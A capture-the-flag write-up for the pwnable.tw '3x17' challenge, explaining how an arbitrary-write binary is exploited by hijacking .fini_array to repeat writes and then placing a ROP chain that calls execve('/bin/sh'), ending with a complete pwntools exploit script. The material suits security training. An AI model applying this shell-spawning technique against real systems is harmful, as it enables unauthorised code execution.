3x17 - pwnable.tw

18/12/2025
pwn | pwnable.tw

Challenge Description

File type

$ file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped

Binary Protection

$ checksec 3x17
[*] './3x17'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

Background

  • 3x17 allows user to write any data to an arbitrary memory address.
$ ./3x17
addr:123
data:abc
  • The program reads input memory address from user and uses read function to write user's data to that memory address
int __fastcall main(int argc, const char **argv, const char **envp)
{
	int result; // eax
	char *v4; // [rsp+8h] [rbp-28h]
	char buf[24]; // [rsp+10h] [rbp-20h] BYREF
	unsigned __int64 v6; // [rsp+28h] [rbp-8h]

	v6 = __readfsqword(0x28u);
	result = (unsigned __int8)++byte_4B9330;
	if ( byte_4B9330 == 1 )
	{
		write(1u, "addr:", 5uLL);
		read(0, buf, 0x18uLL);
		v4 = (char *)(int)atoll(buf);
		write(1u, "data:", 5uLL);
		read(0, v4, 0x18uLL);
		result = 0;
	}
	if ( __readfsqword(0x28u) != v6 ) // exits if overflow happens
		sub_44A3E0();
	return result;
}
  • Constraints: The maximum length of data from user allowed is 0x18

Exploitation

General Idea

  • Because this binary file is statically linked and stripped, we don't have any clue about which address need to be write into GOT entry. Instead, we should exploit the termination process.
  • After main function returns, the program continues to call __libc_csu_fini which executes each funtion in .fini_array section from the last one to the first one. There are 2 addresses of functions in .fini_array section:
Disassembly of section .fini_array:

00000000004b40f0 <.fini_array>:
  4b40f0:	00 1b                	add    BYTE PTR [rbx],bl
  4b40f2:	40 00 00             	rex add BYTE PTR [rax],al
  4b40f5:	00 00                	add    BYTE PTR [rax],al
  4b40f7:	00 80 15 40 00 00    	add    BYTE PTR [rax+0x4015],al
  4b40fd:	00 00                	add    BYTE PTR [rax],al
	...
  • The idea is to write the address of main function and __libc_csu_fini function into this array so that we can do arbitrary write more than once. This helps us write more data than the length limit of the input data in main function.
  • After that, we need to construct a ROP chain and write it right into .fini_array section since rbp will point to the first element of .fini_array.

Get Shell

  • ROP chain is:
leave
ret
|
pop rax
ret
|
pop rdi
ret
|
pop rsi
ret
|
pop rdx
ret
|
syscall
  • The first 2 ROP gadgets will be placed in 2 elements of .fini_array, and the other will be written to the subsequent addresses. Therefore, to maintain the 'loop' arbitrary write process before actually getting shell, we should write 2 those ROP addresses in the end.

Exploit Code

from pwn import *
import utils

context.terminal = "kitty"
context.log_level = "debug"
context.arch = "amd64"

TARGET = "./bin/3x17"

target = process(TARGET)
# target = remote("chall.pwnable.tw", 10105)
gdb.attach(target, gdbscript="b *(0x401ba3)")

exe = ELF(TARGET)
libc = exe.libc
rop = ROP(exe)

def get_address(index: int):
	fini_array_addr = 0x4b40f0
	return fini_array_addr + index * 8

target.sendafter(b"addr:", str(get_address(0)).encode())
libc_csu_fini_addr = 0x402960
main_addr = 0x401b6d
payload = p64(libc_csu_fini_addr) +  p64(main_addr) + p64(59)
target.sendafter(b"data:", payload)

target.sendafter(b"addr:", str(get_address(3)).encode())
pop_rdi_addr = 0x401696
pop_rsi_addr = 0x406c30
payload = p64(pop_rdi_addr) + p64(get_address(10)) + p64(pop_rsi_addr)
target.sendafter(b"data:", payload)

target.sendafter(b"addr:", str(get_address(6)).encode())
pop_rdx_addr = 0x446e35
payload = b'\x00' * 8 + p64(pop_rdx_addr) + b'\x00' * 8
target.sendafter(b"data:", payload)

target.sendafter(b"addr:", str(get_address(9)).encode())
syscall_addr = 0x4022b4
payload = p64(syscall_addr) + b'/bin/sh\x00'
target.sendafter(b"data", payload)

target.sendafter(b"addr:", str(get_address(0)).encode())
pop_rax_addr = 0x41e4af
leave_addr = 0x401c4b
payload = p64(leave_addr) + p64(pop_rax_addr)
target.sendafter(b"data:", payload)

target.interactive()